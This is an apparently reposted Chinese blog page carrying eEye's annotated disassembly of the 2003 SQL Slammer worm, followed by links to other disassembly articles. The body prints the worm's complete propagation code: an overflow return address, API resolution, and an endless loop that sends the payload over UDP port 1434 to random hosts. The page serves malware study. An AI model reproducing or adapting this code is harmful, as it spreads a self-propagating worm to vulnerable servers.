2003蠕虫王反汇编代码

转载 2006年05月20日 18:50:00

;SAPPHIRE WORM CODE DISASSEMBLED
;eEye Digital Security: January 25, 2003


        push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
                mov     eax, 1010101h   ; Reconstruct session, after the overflow the payload buffer
                                        ; get s corrupted during program execution but before the
                                        ; payload is executed. .
                xor     ecx, ecx
                mov     cl, 18h

FIXUP:
                push    eax
                loop    FIXUP
                xor     eax, 5010101h
                push    eax
                mov     ebp, esp
                push    ecx           
                push    6C6C642Eh
                push    32336C65h
                push    6E72656Bh       ; kernel32
                push    ecx
                push    746E756Fh       ; GetTickCount
                push    436B6369h
                push    54746547h
                mov     cx, 6C6Ch
                push    ecx
                push    642E3233h       ; ws2_32.dll
                push    5F327377h
                mov     cx, 7465h
                push    ecx
                push    6B636F73h       ; socket
                mov     cx, 6F74h
                push    ecx
                push    646E6573h       ; sendto
                mov     esi, 42AE1018h  ; IAT from sqlsort
                lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
                push    eax
                call    dword ptr [esi] ; call loadlibrary
                push    eax
                lea     eax, [ebp-20h]
                push    eax
                lea     eax, [ebp-10h]  ; (kernel32.dll)
                push    eax
                call    dword ptr [esi] ; loadlibrary
                push    eax
                mov     esi, 42AE1010h  ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP  ; Check entry point fingerprint for getprocaddress, if it failes
                                        ; fall back to GetProcAddress entry in another DLL version.
                                        ; Undetermined what dll versions this will succedd on. Due
                                        ; to the lack of reliable importing this may not work across all
                                        ; dll versions.
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C

VALID_GP:                            
                call    dword ptr [esi] ; GetProcAddress
                call    eax             ; return from GetProcaddress = GetTickCount entrypoint
                xor     ecx, ecx
                push    ecx
                push    ecx
                push    eax
                xor     ecx, 9B040103h
                xor     ecx, 1010101h
                push    ecx             ; 9A050002 = port 1434 / AF_INET
                lea     eax, [ebp-34h]  ; (socket)
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                push    11h
                push    2
                push    2
                call    eax             ; socket
                push    eax
                lea     eax, [ebp-3Ch]  ; sendto
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                mov     esi, eax        ; save sendto -> esi
                or      ebx, ebx       
                xor     ebx, 0FFD9613Ch

PRND:                                
                mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                mov     [ebp-4Ch], eax
                push    10h
                lea     eax, [ebp-50h]
                push    eax
                xor     ecx, ecx
                push    ecx
                xor     cx, 178h
                push    ecx
                lea     eax, [ebp+3]
                push    eax
                mov     eax, [ebp-54h]
                push    eax
                call    esi             ; sendto
                jmp     short PRND    ; Jump back to Pseudo Random Algorithm Start 

相关文章推荐

反汇编代码

  • 2011年11月06日 11:51
  • 74KB
  • 下载

Mbldr引导程序的反汇编代码

  • 2011年07月19日 14:58
  • 11KB
  • 下载

c++函数的返回值存在哪?反汇编代码分析

这几天一直在给同学讲数据结构和算法的题,讲题的过程中突然想到这函数的返回值究竟是存放在哪的,为什么可以通过函数的调用来直接给变量赋值。仔细想想这么多年居然没有深究过这个问题,太不应该,于是今天花了些时...

反汇编代码。。

  • 2007年09月30日 15:37
  • 2.62MB
  • 下载

通过反汇编代码探究计算机运行过程

在线学习了Mooc的《计算机内核分析》课程,为了探究计算机运行过程,现做博文记录实验过程。 首先打开虚拟机中的linux环境,输入C语言代码: int g(int x) { ret...

6410之点灯程序的反汇编代码分析

对上面一章的led.elf,使用下面命令生成反汇编代码: arm-linux-objdump -D led.elf > led.dis led.dis内容如下: led.elf: f...

CodeBlocks设置Intel反汇编代码语法

CodeBlocks默认C编译器是gcc,调试器是gdb
  • kxcfzyk
  • kxcfzyk
  • 2014年06月06日 19:34
  • 2437

C++反汇编代码分析--函数调用

代码如下:     #include "stdlib.h"     int sum(int a,int b,int m,int n)     {          return a+b...

C语言最简main函数的反汇编代码解析

原文出自: 对于新手而言,汇编看着就头疼,更别提去OD什么东东了,我也正处于这个阶段。前两天看了《天书夜读》第一章关于main函数反汇编的解析,顿时有种茅塞顿开的感觉。再看起来汇编代码,虽然还是...

c++类的反汇编代码的实现【DEBUG】

int  main( ){ 01104810  push        ebp   01104811  mov         ebp,esp   01104813  sub         esp,...
  • lfrouse
  • lfrouse
  • 2013年07月04日 23:02
  • 374
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:2003蠕虫王反汇编代码
举报原因:
原因补充:

(最多只允许输入30个字)